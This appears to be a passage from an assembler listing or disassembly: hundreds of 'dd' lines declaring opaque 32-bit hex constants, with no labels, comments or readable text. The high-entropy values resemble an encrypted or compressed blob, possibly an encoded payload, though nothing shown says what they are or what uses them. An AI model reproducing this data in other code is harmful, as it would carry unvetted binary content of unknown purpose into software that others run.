dd 0A0E8434Eh, 0ABED8C8Ch, 0EDD32303h, 8D28F109h, 0A65AD329h
dd 69516F78h, 7729D687h, 0C6544B19h, 33318F1Ah, 3F630704h
dd 0AACC0500h, 1F22ED09h, 81425569h, 5A199AF5h, 0F0AAFAF5h
dd 82583F14h, 0E83E0767h, 147204DAh, 9E9A049Fh, 4BBE2CC2h
dd 1D47D6BFh, 0F3069165h, 438AF942h, 0E188229Bh, 60963922h
dd 9B92BB4Ch, 6DBB4F70h, 8D7C84FEh, 0A4C712D4h, 6707EEB0h
dd 6586A76Bh, 0B271BAB3h, 0B0E89A2Eh, 0BBEAD901h, 0FDDD6E8Eh
dd 0E85ABE6Dh, 0CF629907h, 3FCA8616h, 0D61BAE6h, 0E6F12570h
dd 40DBE66Dh, 2010646Bh, 0DE9E6C6Ch, 35BB9F68h, 89087B47h
dd 1FF8EE86h, 0B6C49381h, 3177334h, 341E4B26h, 1354A93h
dd 0C9D44BCCh, 0D9D658E0h, 7323B7DEh, 730CBF43h, 31EB8D42h
dd 86E64A0Eh, 2DD97DC4h, 0F3E6988Dh, 9DA29FAh, 8752A8C0h
dd 0F08658F4h, 5D57ABA0h, 17E9D0CBh, 0C603D84Ch, 0D4C8DF2Bh
dd 8ECB06E3h, 0BEDC096Ah
dd 0DE7D7246h, 0D4092309h, 7396550Ch, 1467DCEEh, 0B2EF2578h
dd 5C60ED3Ah, 689F2760h, 0C3897173h, 7A8D9E29h, 0B4B63002h
dd 1C759AFFh, 0A8CF8E86h, 8764D71h, 693E0D49h, 0D61770B4h
dd 0EEF665F3h, 0F9D943B3h, 0FC03BBE4h, 0A006F005h, 34FE9F46h
dd 0BDED5108h, 12F5578Bh, 0FDFDCBEBh, 4EC1174h, 0FA13E570h
dd 0D1844967h, 9629742h, 17E3E31Fh, 0CC1ED248h, 0D090FA12h
dd 0CE995BE0h, 82BF1371h, 0EE537F67h, 0C8097A5Dh, 39DB8C58h
dd 5902B3F4h, 0A7AE4B13h, 572DEE6Eh, 60E3647Ch, 8DF9626Eh
dd 69EF826Ah, 0F0F63005h, 6ED9AFFh, 0A1D99494h, 4D2A4D71h
dd 581E6009h, 921370BBh, 0AE902AB3h, 85D043A2h, 0B833B5E0h
dd 1C72B115h, 79F9DC08h, 0E1824A4Dh, 0EF851BBh, 0F2E6DBFDh
dd 199B2377h, 0FE59A161h, 84AE300Eh, 0B6E8416h, 45A7D08Eh
dd 8259901Eh, 89819666h, 0C4882C86h, 8EB90D6Dh, 0EA58187Dh
dd 8608A709h, 738D1C5Dh, 465DCEEh, 0B5A72876h, 5B24F93Ah
dd 24D82724h, 0AD865873h, 77CC826Ah, 0FD36360Ch, 639F49Ah
dd 0A7CF9090h, 1A3C5A60h, 574C614Fh, 912924B7h, 0D4B359EEh
dd 0A5D14FC1h, 6924B3EBh, 0D368FE19h, 2EE58B4Eh, 92AD7877h
dd 33963487h, 0F2E4CAF9h, 8EF2873h, 0E528F54Dh, 0C0A67026h
dd 2857C48Ah, 658CF425h, 0D403DA68h, 0F48DD427h, 0FF9F57E9h
dd 8CB9016Bh, 0EF166B6Dh, 0F647F748h, 5CF3A137h, 5018587h
dd 0A3AD226Fh, 4676EA4Eh, 64E96F50h, 8D866161h, 5F0CA459h
dd 0F1515563h, 14F0EC87h, 0B6CFAE90h, 4A306B60h, 0E5A6602h
dd 0A21D67FAh, 0BAF961F3h, 2BB448A4h, 2B35B3D7h, 2763F219h
dd 17FE8A42h, 80ED513Eh, 14E51EB8h, 0FEE6CAF1h, 39BB474Ch
dd 0E228F85Ch, 0CAA97A37h, 4F738795h, 3A688C2h, 0C71DD85Ah
dd 8EC6852Ah, 0D9BF5C86h, 0AEB3177Ah, 0E859DF66h, 8F4F274Ah
dd 3DDB4F42h, 7D4DF8A9h, 0BFB21F19h, 5D5AE04Eh, 62F6696Ah
dd 97852D74h, 77008C29h, 0FAAB211Bh, 5937B492h, 0C8FEFAFFh
dd 7D376B6Dh, 55506908h, 0ED5A70B9h, 0F4B42AB3h, 7FDF5BC1h
dd 0F223BEE7h, 9726AB17h, 6DEF9748h, 0CBA2235Fh, 1E11EF4h
dd 0FFFADBE0h, 4D812A4Fh, 0F915E029h, 84A07AFDh, 176A8C53h
dd 0F2D407h, 0A85F9D15h, 8AC2854Eh, 0DF8A23ACh, 82B83B60h
dd 0FA17AB6Eh, 0CF137A48h, 789B8816h, 4962DCA9h, 0A5B62A6Eh
dd 5572EB72h, 64D8273Eh, 0CD357372h, 7071CD6Ch, 0F0EE2006h
dd 56FCF8D5h, 0CFD99F87h, 592C4D75h, 0A25F2703h, 0B90024BFh
dd 9AE96AF4h, 0ED240A0h, 0DD4DF7E0h, 1072F007h, 24E59D4Eh
dd 84FB036Eh, 3FF48A2h, 0FEE098CDh, 1FDA394Bh, 0A318E43Ah
dd 0C5B014BEh, 36F8004h, 45BCD784h, 0D602D049h, 809CD12Fh
dd 0C7822DEAh, 0E7F1C766h, 0F9568609h, 0C900BB4Ah, 2495551Fh
dd 40FBFE2h, 0AAA82A6Dh, 1276E173h, 77D16277h, 80296669h
dd 1828C327h, 0F436341Eh, 1176FE9Dh, 0DDD8DACFh, 40374B67h
dd 0E859690Eh, 0BD1561A9h, 67E870EEh, 419002E0h, 6926A184h
dd 9C62F914h, 30AAC341h, 95FA4227h, 6AB85AB7h, 0F2E5E7ACh
dd 32897E5Eh, 0FE12F621h, 0C9B04BA7h, 1007BDEFh, 0CF2D619h
dd 0D651D055h, 0EBA08721h, 0CAC411CFh, 9FB0C776h, 0E617BF7Ch
dd 884AEA4Ch, 5B2E556h, 14B0E8h, 9AA33978h, 4076E657h
dd 67D4746Bh, 0C72B5974h, 6FAD8967h, 0E241091Ah, 17FCE887h
dd 0CBCFAC81h, 5E375667h, 0AA4B553Bh, 850073DBh, 69F46DE9h
dd 8BD158EEh, 100B9DCCh, 773F058h, 2DFF8B4Ah, 98ED4872h
dd 6AB810FAh, 0F79292A0h, 6DDF2C27h, 0D93ACE3Dh, 0E19555A3h
dd 46EAFACh, 0AF5D199h, 0F52DDD5Dh, 0CF8D3527h, 0E5CB0FFBh
dd 989CDF57h, 0E352437Bh, 0D401055Dh, 38DD060Bh, 190681DBh
dd 0B5AF247Dh, 6729A31Ah, 68C16277h, 0AE186C6Eh, 4CA4A25Ah
dd 0D290143Eh, 1A70D7A9h, 0D1D99587h, 61044B72h, 0AF5A690Eh
dd 0AA5277ACh, 4BD958C9h, 0E5DB5EBCh, 0EF2280F0h, 9D69F804h
dd 2DE3AE79h, 8EEF4C3Dh, 14C53EB8h, 0EEE6CAC5h, 2C91D30h
dd 0E01DF2F9h, 0DD941B67h, 0A629543h, 17F3FE37h, 0D61FCE49h
dd 0D487300Dh, 0F8871BFEh, 0AE83E766h, 0FF437F66h, 0F2387F46h
dd 3FDE9D1Dh, 5702B7E9h, 0B0A82E4Ah, 6571FD7Fh, 73177460h
dd 0CA6B7564h, 7FE7BF09h, 0F3E3303Bh, 58A3B3DDh, 98C49B96h
dd 512A1F60h, 0B71E6306h, 0D9527DBEh, 7C9A0EEEh, 8EEC4BABh
dd 0F46FB2E5h, 1674B14Dh, 66AA9D45h, 98EA0339h, 40E55BDCh
dd 0F6FDCADEh, 4DC86878h, 0A40FA5A6h, 0C1951B3Eh, 662B317h
dd 5FAF948Fh, 0C701C21Bh, 808D3620h, 0ABE11FA9h, 0AE99DB78h
dd 0C973353Dh, 9326FE1Dh, 679E2A49h, 5A2E92B6h, 0FE9D7320h
dd 0B15CA37h, 45763242h, 97393C38h, 5CA2903Ah, 0E421260Ch
dd 116DEA9Ch, 0F8AA949Ah, 66284C7Dh, 0B9707E06h, 0B87261B6h
dd 32FB67F2h, 0BFCD559Dh, 5247BBE1h, 9063FB14h, 2EEBB750h
dd 93CD233Ah, 23E451D8h, 0E9E6D6D3h, 3EBB213Fh, 0F90EE1CAh
dd 0D4BE4F54h, 0A4EE0D5h, 35E3DC0Ah, 0A219DB5Ah, 0F4BA0E1Dh
dd 0E8B729C9h, 88AD8176h, 0E2742567h, 0C917E747h, 22D5BC14h
dd 50985DBh, 0A3BD226Fh, 6225D369h, 682D6876h, 8E4F6064h
dd 90368867h, 0B6692706h, 0EFAFF86h, 0C4DE9387h, 7C285034h
dd 0A750680Eh, 7E1D62FBh, 3DE377BDh, 0BD349BAh, 342AB2E6h
dd 775F818h, 2CFE9851h, 0C1A6502Ch, 9FE6A8Ch, 0FEE198C3h
dd 0ED23B1Ah, 0EC1FA0CBh, 0CBA93B1Ah, 265C084h, 0AF2C9CBh
dd 0C614D14Bh, 0C59A4B60h, 0C882EAFEh, 88ADE366h, 0F943D86Eh
dd 0C200214Ch, 38C76F72h, 7A6BA5F4h, 0E6F06B39h, 1219AF3Ah
dd 21732724h, 8E0C2520h, 0C742CD29h, 96CF7549h, 5B70BFF8h
dd 0DDC99F86h, 2E2B5B7Ah, 0A458620Bh, 0C5224FBh, 7EB40C95h
dd 31C85E9Dh, 0F426A1A7h, 9468F802h, 63E3DC03h, 8EEB462Eh
dd 4EE55AC0h, 9B98969Ah, 2ECD3F33h, 0D911EDB1h, 0C5A268FCh
dd 327C554h, 6FE3D704h, 0F423F03Bh, 0C89A6F74h, 0C29FE0F9h
dd 89FFB46Dh, 0AD5EE666h, 0AC295F6Dh, 0E3BC78h, 273FF6BDh
dd 8293195Eh, 1701AF5Fh, 1613977h, 948A5753h, 0AB52A429h
dd 9CD60620h, 2CCBC9F5h, 0EAE8DACFh, 5F583551h, 0CC045135h
dd 3C39479Ah, 0BF061EFh, 0FDB58ADh, 0AE179FA7h, 1A67F756h
dd 49EE9C4Eh, 0B7DA705Ch, 23D71E9Ah, 0FEE09903h, 19D82E12h
dd 0C45CE8ABh, 0A4CD71E4h, 5D565D23h, 0BE3ABCBh, 0C51C0C5Fh
dd 0CA8CB16Eh, 0CE9CEFE9h, 0BD900367h, 0EC5AD17Ah, 0C217BF40h
dd 768B6F72h, 4D1F84D4h, 0AB713839h, 55DFE67Eh, 68067524h
dd 0C5B86665h, 0B36BCD6Dh, 0CA425F1Ah, 0AA23CCA7h, 0B0E1B9B7h
dd 0A6365E7Ch, 0B5F6F13h, 731C6DB0h, 0F7FB62BAh, 41DA49A0h
dd 4B158583h, 0B047B147h, 22E2D959h, 89FB4755h, 9FD5C03h
dd 9B98D1A2h, 57ED1B23h, 0E31DE0DEh, 0C5AF79B0h, 6E77DBh
dd 0CE7614Bh, 8C164257h, 0F2BD4744h, 0D9C9BEDAh, 0CDE4436Ah
dd 8D32B82Ch, 9C2CC17Ah, 38EF8758h, 16C0A5E3h, 0A2382272h
dd 371BA134h, 55295404h, 0CD9F253Ah, 8CA78367h, 0C66C3C1Dh
dd 0F4F8FCD5h, 5FCE9F9Ah, 0D20B3F1Eh, 871E3D36h, 491C6AB7h
dd 0E0F370F8h, 859002ADh, 0F14D685h, 2826AB53h, 66B08A24h
dd 0E1827E73h, 10B64649h, 0BBE6C52Fh, 30D273D3h, 0E8188AE4h
dd 0D2AA2084h, 961269Ch, 0AE538DCh, 0D713F956h, 0D281533Ah
dd 0CF8346E5h, 0CD8A4A23h
dd 0AD53142Ah, 0FB0D7672h, 23F46F72h, 19EEB8E9h, 0B6AD6B7Eh
dd 4EACA73Ah, 2ADD292Dh, 81EC0F0Dh, 0C7E2CF29h, 0CCA6251Ch
dd 8739FF81h, 15D997F6h, 2584767h, 0CC50700Fh, 0C11665B7h
dd 0D1EE24FCh, 0AE820CF1h, 9D4DE8FAh, 8075E264h, 7DAADF9h
dd 0C1CD6948h, 5ADA1153h, 0E8B7B324h, 9BB6D3Eh, 0E1122271h
dd 0C1A3AC7Bh, 425BB554h, 48A94818h, 874CC516h, 0A0D8323Dh
dd 0CA695BE8h, 89AB7C6Fh, 0EB3A756Ch, 0C3D27A48h, 0D27D51Ch
dd 50DBA5A2h, 0E3B46634h, 3380FC3Fh, 7BE46304h, 0F2F3696Eh
dd 0AAEC846Dh, 1EA70E49h, 9B4BAA8h, 148FDAC8h, 258351Ah
dd 0D25B770Dh, 950121F4h, 0A4B42ABEh, 0EBDC5A3Bh, 0B833BF20h
dd 763FCBBh, 2DEF8B37h, 0C9E44D5Dh, 45B67D31h, 0D2928D71h
dd 1FDE0376h, 0C2085060h, 8CA9E844h, 42212F59h, 8881E82h
dd 0D5019948h, 0C1B95F20h, 0A46449E8h, 0D7F96323h, 0C3332655h
dd 0F5A89C6Dh, 24FE1C24h, 42E8B3F3h, 0AFFB172Bh, 40AFFC69h
dd 3683627Ch, 0EAFB5A00h, 0F290DE67h, 5F2C2236h, 0C96AC586h
dd 3BAAA5A8h, 49365661h, 0CF61586Eh, 0EB0177AEh, 81F760FBh
dd 8AF02D74h, 5017FC1Dh, 9674B2D8h, 30EF8F89h, 0C4AB1883h
dd 40BB6573h, 0EFE0EC6Ch, 48E05F2Ah, 8D767857h, 8993EC1Ah
dd 475119E0h, 45EFE40Dh, 0D71E9A49h, 80A0442Bh, 847B01AFh
dd 86CD532Eh, 0E8385103h, 0D176F64Ah, 77A38111h, 5F5097C9h
dd 0E0DE0649h, 7E1F87Ch, 6DEA6276h, 0DBC87665h, 922BC82Ah
dd 0CC087B47h, 94EDFF87h, 8AC19998h, 36784B69h, 0E413531Ch
dd 0AA52548Bh, 0BCBA60F3h, 4ECB5C76h, 7E67A52Bh, 5D28FB8Dh
dd 308AF099h, 88EC5713h, 2EB62C72h, 0CBBFCB51h, 0B9B5765h
dd 0FF5C7159h, 0C1B33C11h, 4421E083h, 4BA57BCEh, 0D068FB15h
dd 0C5AE5E21h, 0D4677CFEh, 0C8F16339h, 8D51EC7Ah, 8A6B1267h
dd 77542228h, 7F2B3F5h, 1FF4387Ch, 1F0AA39h, 69E32729h
dd 90C56962h, 0B632A429h, 9FE70E49h, 691990A9h, 0A87AEB6h
dd 0C786F54h, 0D54B763Bh, 0E75270B7h, 0D3BA6DA5h, 1D5423Bh
dd 0FE22A328h, 9A70FA2Dh, 0DAA9A19h, 0B1A56EB4h, 12B61953h
dd 0FEE7EA71h, 4E9B7B53h, 0A3526C7Bh, 0D7C666BAh, 872A755h
dd 15E5FA08h, 0E327D34Fh, 0ED88021Ah, 0C17874DCh, 9EF72672h
dd 0AB88B17Dh, 89713D40h, 3236EF72h, 1D6BB2E9h, 7FCC6B7Eh
dd 6ECDA24Eh, 85D92754h, 9F397072h, 0B921CD7Dh, 0A2AC7B00h
dd 3FD9AFEh, 0B7DF9B91h, 1D3F1F6Ch, 2D49622Bh, 87523EB3h
dd 0E4C77799h, 3BEB6403h, 0B9678156h, 1C65E001h, 3AF89840h
dd 90ED4954h, 14E52A65h, 0F2B7B408h, 6D43702h, 0B17FFF60h
dd 0D0A863D7h, 326E7C02h, 65B45CB9h, 0C719DA07h, 0C3B7553Ch
dd 980672E9h, 9BF7C670h, 0B0DE9260h, 0C90EA629h, 3CE61C42h
dd 0E0BBE2h, 53F43E34h, 5FFEA26Ah, 81D03D63h, 87257371h
dd 2D75D76Ch, 0EC121C20h, 0C377F49Bh, 37C38E93h, 72690576h
dd 266E5211h, 0BD162498h, 68F567CBh, 6BC75F6Dh, 6836B47Ah
dd 0D372E06Ah, 79E3D9D5h, 85E956D3h, 49A56532h, 91BCBD02h
dd 0ED47330h, 0E216911Fh, 98E616BAh, 6D3C2195h, 35D8D66Bh
dd 0C64BA755h, 0CFBF5427h, 0DD7021FAh, 9CE8C123h, 0FAF8B47Ch
dd 0CEB9B009h, 35A0CF42h, 4E28F6E3h, 12A86530h, 7ADC8F10h
dd 0C8EB6954h, 0BF0F6C67h, 0EA79B66h, 2A707517h, 9AFCEF85h
dd 0FC89DA84h, 12780572h, 6C1E6338h, 0C25C2DFFh, 629A0E9Ah
dd 0DFDF4E1Fh, 5D29BE71h, 1D56C666h, 2AEEDCE5h, 97E75601h
dd 40EF2171h, 0EEE40A52h, 4DCF542Dh, 0B716F04Dh, 0C0A7AED4h
dd 4E32BAD0h, 6FA330C5h, 0CA079A3Bh, 0D3A3B62Bh, 0CA4E09A1h
dd 9F1AAE73h, 0EBE80B6Eh, 0C4D5255Bh, 1555551Dh, 3FDF9FC9h
dd 5EF62576h, 46C0FB79h, 0EC823D6Ah, 0BA3C504Ah, 2586CD59h
dd 19AD361Dh, 960E891h, 2BDB9F82h, 562C4C7Eh, 60572279h
dd 875229E1h, 55F961D8h, 0A5D94311h, 9D4DFEC6h, 9665F9BDh
dd 2DE3891Ch, 0B4C11696h, 40C63F46h, 0F8E60240h, 1FDE592Fh
dd 0E80DE4E7h, 0D7A3E665h, 4221F144h, 4BA2B302h, 0C716EB31h
dd 0C3AFAC3Ah, 0D04A1BE7h, 0BD28DA23h, 0EACB4167h, 0C8BF6040h
dd 2D318A0Eh, 0C6BA4A7h, 4EE92E6Ch, 4288AC3Ah, 0FA65292Ah
dd 9F314803h, 1FD0AC4Ch, 2FA87526h, 38CDCEBCh, 0EE84CBDFh
dd 1B103517h, 7C047328h, 0D24B3780h, 0AF319Eh, 0C58B1852h
dd 0E777E5CAh, 4336A5DEh, 17D9F539h, 91FD174Ah, 12AC2686h
dd 0FFE10657h, 0ED25D3Dh, 0C075C1EBh, 84FCED55h, 3718252h
dd 0CE8E69Bh, 0D4090E48h, 0ADE3A12Bh, 9E602186h, 0E774D023h
dd 0FDF37B04h, 0CE89BD4Ch, 1C830816h, 2D2386D2h, 4A752F39h
dd 4FD7E079h, 80637E76h, 0A5797466h, 782997Ah, 306C3C4Bh
dd 0F01990DAh, 0F8C49393h, 0C0761134h, 31567454h, 0F47825C7h
dd 70A33798h, 0E58B185Eh, 3372E5F2h, 0F336A9CCh, 13DEAB5Ch
dd 85EC761Fh, 40E63627h, 0EEE4024Eh, 4DCF4435h, 0B70C91E5h
dd 9E9BDA71h, 36C7390h, 40AC210Eh, 8C48C152h, 0F48ED744h
dd 0E51634D8h, 8C289767h, 0EB897179h, 0D498E658h, 70DBCF0Ch
dd 14A9ECF4h, 4BBE7144h, 7CC0EC7Fh, 0CE3F6272h, 0EA552023h
dd 2B48C327h, 7E560126h, 0CFFDDBD4h, 7DDA9BBCh, 3D295A68h
dd 6E4A7431h, 7F575F90h, 13F32192h, 21900346h, 0E0880CBh
dd 23BCDAh, 17DEB6D3h, 0CFB91FAEh, 289C59DDh, 0A1C1367Fh
dd 57C81648h, 8772D58Bh, 0F088EC37h, 4A577EB5h, 22C21FA7h
dd 825D296Fh, 0AACAA26Bh, 0F07AD3CFh, 0C0358D46h, 0CB9CE85Dh
dd 0CD797313h, 2DCF1B00h, 5DF0BAEAh, 4A71237Ah, 29CDEA69h
dd 90277226h, 350E3D2Eh, 722DBE03h, 6A81143Eh, 0F157D5BDh
dd 60DFD8D1h, 0AD2B0574h, 3153623Dh, 740729C2h, 11B774C8h
dd 78844A26h, 0F431A2B6h, 0A43CF9FDh, 13C3B092h, 8FE65FFEh
dd 9E2360Bh, 0AAAF0D5Bh, 9DF7E43h, 0F90DCB8Eh, 0D4B133D9h
dd 45640159h, 6F829366h, 0F24AAE3Bh, 80909C01h, 0EC12E7A9h
dd 0C23D8757h, 83E5BF38h, 0FB525B23h, 70E1D52Ch, 172FECF4h
dd 77D14114h, 59F8DB54h, 0BD272A50h, 7488424Dh, 5227CD33h
dd 81C15F63h, 0A4DCCEB9h, 8AFED7A5h, 6C627A4Dh, 18466221h
dd 701F7C99h, 6F9249Fh, 0ECD5F31h, 0A865EDAFh, 4B2BFADAh
dd 1080F390h, 0A0D87033h, 2FDF0EA3h, 0B9B55A86h, 57D54F0Dh
dd 0E817C3BDh, 89B23BD9h, 176D0F05h, 2FDD7C6h, 0D002D601h
dd 0C5A62A38h, 0EA72DBB6h, 822C734Ah, 0EDB59F67h, 0C645BA5Dh
dd 14125E42h, 1139B2E3h, 59993F6Bh, 7858FF6Ah, 0F36E2563h
dd 2CC0F0Eh, 6967D77Ah, 0BE2E3018h, 0F014FF87h, 0DEC69789h
dd 3F2B056Eh, 9C4A6F77h, 3B5D3EC7h, 0FBF267D6h, 65CD4C33h
dd 6E2BBDDFh, 0DD76FDDAh, 6CED8CCDh, 91E95E28h, 16F83F8Dh
dd 0EBFA0D29h, 60991415h, 0E845DFF4h, 0C0AE21BAh, 3464E0D9h
dd 0E39E1Fh, 0D6084506h, 8FFFB73Ah, 0CC53F7A3h, 9E085E66h
dd 0E2B1A927h, 0D853FC5Ah, 326C8056h, 1F27A5A8h, 59736469h
dd 7FD1E079h, 0D854606Ah, 0CF6083Dh, 6C80D77Ah, 0D43C2C0Ah
dd 37ECA6FDh, 0C1CE9EB0h, 8D2C4D72h, 0D4E7737h, 267F63D9h
dd 0E0F669DAh, 96CB172Fh, 3335A581h, 1B65EF87h, 30EB93F4h
dd 8FF84417h, 12F97614h, 0FEE644A7h, 0ED24EFAh, 0CC28948Bh
dd 0E7910FBAh, 26DE89Fh, 0AE68288h, 80510355h, 9CCFB670h
dd 0F64659C2h, 99076E66h
dd 0FDB1796Ch, 870A6D5Dh, 7610A36h, 0AC8BBE2h, 4427037Ch
dd 1B04B16Eh, 8C964938h, 54987D46h, 6D83837Bh, 91B03A3Eh
dd 2970BFC9h, 0F1CFB4DEh, 0C32C4758h, 4C5F6924h, 0D0006BE7h
dd 8290099Dh, 0DBC94813h, 0F233BFDFh, 0CD6AF222h, 7FDAA3DDh
dd 96ED8306h, 14F91116h, 0F7FA2DEBh, 51B1D43Eh, 0C4080C50h
dd 0D6A4B17Ah, 3760E45Eh, 5BE58704h, 8D60521Eh, 0E9BADA00h
dd 0D64440E2h, 0BD24726Dh, 0B06A6366h, 0E68A1924h, 3C52981Dh
dd 1DCAB4E6h, 0F7B757Dh, 6E68C135h, 0A9EA6941h, 2FF8606Fh
dd 8FBEE704h, 0AD2220Bh, 75D4EE85h, 0E9C38A82h, 0D73D7B78h
dd 4C577531h, 0D21D6DCBh, 0C0F3526Dh, 98C95DD9h, 0BE22804Dh
dd 76FECB4h, 0DA5DEF1h, 8ED8BE4Dh, 1DB1F2Ah, 0F5FC2EE8h
dd 1EDEBD7Fh, 0FD165B6Dh, 0CAAF2C40h, 5B07884Eh, 29E491A5h
dd 0C72B5C5Eh, 0C147C60Ah, 0CA3E45F8h, 0C214533Dh, 0C2291447h
dd 0CC44B24Ch, 32651A3Ch, 14CABFF3h, 13464627h, 403BFA35h
dd 0B4D36360h, 10C17171h, 0EFCB9D79h, 0EE4F6B09h, 2E6AB5CAh
dd 0FDCE95B1h, 865233DFh, 7D047A61h, 0D8176EC9h, 0E0FF0D2Ch
dd 0FB8E309Dh, 5546392Dh, 0D3560B14h, 20F90DECh, 93EAB378h
dd 5EA5323h, 0E8EC5BEDh, 48E8B964h, 0E44BD34Dh, 0D6C0FF09h
dd 0EABE7D5h, 5F71961Dh, 933D1A1Bh, 0A6379960h, 801561CBh
dd 0AD280026h, 90CE055Dh, 8486BD18h, 0C35BA772h, 0E184ECD3h
dd 426B716Ah, 4A448514h, 0FFCB4245h, 1FFD492Ah, 703B846h
dd 1226F5Ah, 1A939678h, 0D1E2FD36h, 0DC786D37h, 5B5D7823h
dd 0B50079D9h, 0BFFF0753h, 5FCD7788h, 781D32D6h, 1A2322B3h
dd 6DA5C8DAh, 95E6C11Ch, 4FA00B28h, 9BA33EBFh, 2CCE8F53h
dd 0BFAEEB17h, 9CC0684Ch, 53A2B5C0h, 49A1C5ADh, 0FA650103h
dd 9511EE63h, 0E5371FCDh, 0CCD90746h, 0FCDFCC3Ch, 0AF630070h
dd 0A4573335h, 28C6A4F5h, 492F086Ch, 9D76FD6Ch, 0E7E7625Bh
dd 0C7DE6068h, 73078E73h, 85AA0653h, 567DFE43h, 9CF9E1Eh
dd 0DF086096h, 55536C34h, 0B70075E3h, 8CF32B3Fh, 67DE95B8h
dd 0F12922C0h, 0AF7CBA29h, 2DEA1CD4h, 85FFBC71h, 6F3F10Eh
dd 0C7E462FDh, 5E82C61h, 0F6E71B31h, 0D4E2A0F1h, 721EF40h
dd 0B70850Ah, 0F3104055h, 0AA59DC27h, 0BC0F3DDBh, 0D2BB246Ch
dd 286BF447h, 0EADC6147h, 6B768A2Bh, 0B9D6BF8Ah, 51271838h
dd 9C7EE669h, 0B1813D0Ah, 0F03D6B7Ah, 0FA66887Eh, 0AE31D3Fh
dd 77F1E835h, 5B9099D5h, 9C3C5205h, 0BF4C6A34h, 0FC1C7BF5h
dd 0C7F3403Bh, 0AF7F337h, 0B535C902h, 4960F1A1h, 27ED88A6h
dd 82EDA934h, 40FAEE3Bh, 0B2EC3B80h, 0CDC7932h, 0E4CD4D20h
dd 9E272FD5h, 76CF150h, 5BB2D89Dh, 0D13A475Eh, 0D815A93Ch
dd 0BBE523FEh, 0BCC8C671h, 6F65D821h, 4A40B24Ch, 257C1C58h
dd 6781EC9Dh, 706C6B72h, 8834AF78h, 0CBA30D25h, 971E7158h
dd 0A90A9B09h, 86327515h, 627CF013h, 589098B6h, 827D4AD9h
dd 0C834688Dh, 86067DD4h, 36EC0266h, 229FC133h, 7127CB42h
dd 8025DF2Eh, 22E2CBEFh, 84F12067h, 9BABB72h, 0CB87E485h
dd 8C36D5Bh, 0A9818D10h, 8448EDBDh, 6CAEB95h, 8B88B12h
dd 0CAE13731h, 896ECE6Eh, 0D68B37A9h, 95E5DA54h, 50F4B266h
dd 1BCCBD1Ah, 0C87B8111h, 65CCB791h, 0B5222E61h, 80428F17h
dd 8D45463h, 0FC4D255Eh, 2EABCD57h, 66B20BDh, 7CE3F40Ch
dd 79A0DEBCh, 0FD082ACAh, 0C473203Ah, 854078A9h, 3CABB81Ch
dd 9B9A6C13h, 7865E5DEh, 1A265EAEh, 66E94BBFh, 92BED161h
dd 60B09B54h, 5BA6015Fh, 6C2C3948h, 9C51CB24h, 58E2BB0Bh
dd 5ACB82F0h, 6F1F9AA0h, 4EBFD6C4h, 0DE0A5B4Eh, 0E0B119C2h
dd 0FD947CFCh, 0F8DF3108h, 1C3435B5h, 62ED9088h, 0DEAFBF42h
dd 75822CCh, 0D129CF15h, 844CF8C1h, 326C0557h, 10E29EDCh
dd 0F7C220F0h, 919EDF1h, 6EAA80ABh, 0A6585AFFh, 0D03E11D4h
dd 0F4723816h, 2E9BEC41h, 9BBF3438h, 8D45F7CEh, 0E30306D8h
dd 538043E7h, 0F19BDE63h, 70B15024h, 0B458BD44h, 7C2EAAD2h
dd 9C551B27h, 0B715B896h, 4AA4F2B2h, 6F418EE9h, 0A0FC5859h
dd 0CFF22C9Dh, 0E1A107EEh, 104BE061h, 0F41F626Ah, 4B4605Ah
dd 9A139CE5h, 0B8AEA2FDh, 435A386Dh, 492DFC87h, 5B4B74ADh
dd 21C76C4h, 0D0829F2Eh, 778220D2h, 899ED19h, 6FAA80B8h
dd 0A4585ADDh, 0CC3E1160h, 0EC72396Eh, 3E9BEB41h, 0FBBF3728h
dd 0CD45F4FEh, 63030555h, 53804116h, 0F19BDA82h, 70B1584Ah
dd 0B458AD2Ah, 7C2E8A3Ah, 9C555BECh, 0B7143856h, 4AA5F212h
dd 6F438F89h, 0A0F85E59h, 0CFFA202Ch, 0E1D11FEEh, 102B9061h
dd 0F45F026Ah, 535A04Ah, 9B131C15h, 0BAADA598h, 5F5C387Dh
dd 5121FC77h, 4B43745Dh, 620C7624h, 90A29FDEh, 0F6422022h
dd 819EDE8h, 6CAA8049h, 9A585A33h, 0C83E118Ch, 0E4723986h
dd 4E9BEBA1h, 0DBBF37F8h, 0D45F44Eh, 0E3030424h, 53804716h
dd 0F19BD67Dh, 70B14058h, 0B458DD2Eh, 7C2EEAAAh, 9C549BDCh
dd 0B714B836h, 4AA6F35Dh, 6F458809h, 0A0F45C82h, 0CFE22488h
dd 0E1C1174Ah, 100B80BAh, 0F59F226Ah, 5B5E0BAh, 98109CDBh
dd 0A4ACA598h, 5B5E387Dh, 5925FC77h, 3B5B745Dh, 423C7685h
dd 5F429F6Fh, 76022092h, 0B99ED59h, 6DAA80C7h, 98585A80h
dd 0C43E1139h, 1C72393Fh, 5E9BEB20h, 3BBF3729h, 4D45F53Ch
dd 63030315h, 53804550h, 0F19BD2CDh, 70B148FFh, 0B458CDD2h
dd 7C2ECA0Ah, 9C54DBCCh, 0B7173806h, 4AA7F392h, 6F478989h
dd 0A0F05259h, 0CFEA382Ch, 0E1F1EFEEh, 11EBB061h, 0F5D8C26Ah
dd 635204Ah, 99101CE8h, 9586FDDAh, 47504B2Fh, 31398F14h
dd 3B53073Dh, 0B22C0552h, 0F62ECB5h, 0E6C25351h, 1B199E85h
dd 6C6997Dh, 8E58652Fh, 99702DA5h, 47726E9Ah, 2BD4D6ACh
dd 0BBF608Eh, 9D4586AFh, 0CFC8EB9h, 43803883h, 0E19BBD1Dh
dd 60B1432Eh, 0A4588EB4h, 6C2F5960h, 8C5468DEh, 0A717CA94h
dd 5AA09F30h, 7F49F96Bh, 0B0EC233Bh, 0DFD24F4Eh, 0F1E1948Ch
dd 1CBD303h, 0E5189108h, 16B51328h, 0F611EF77h, 0B0AAD6FAh
dd 43524B1Fh, 0C6C270EAh, 0B6B073Fh, 82DC8C1Bh, 0CF02ECBDh
dd 66825341h, 18999E85h, 73BAF306h, 8C482947h, 0EC2E62F2h
dd 1C624ACCh, 6EAB99A3h, 6B8F450Ah, 0DD55815Fh, 731372D6h
dd 43903A92h, 0E18BB90Ch, 60A14B30h, 0A4489F58h, 6C3F0768h
dd 8C4414DEh, 0A70672A4h, 5AE1AF60h, 7FCB186Bh, 0B068E5BBh
dd 0DF5AC3CEh, 0F28E8C0Ch, 1152383h, 0E624F188h, 17C2D3A8h
dd 0F7026FF7h, 0B28AD6F9h, 0BF974B1Ch, 21B28F17h, 1C60073Ch
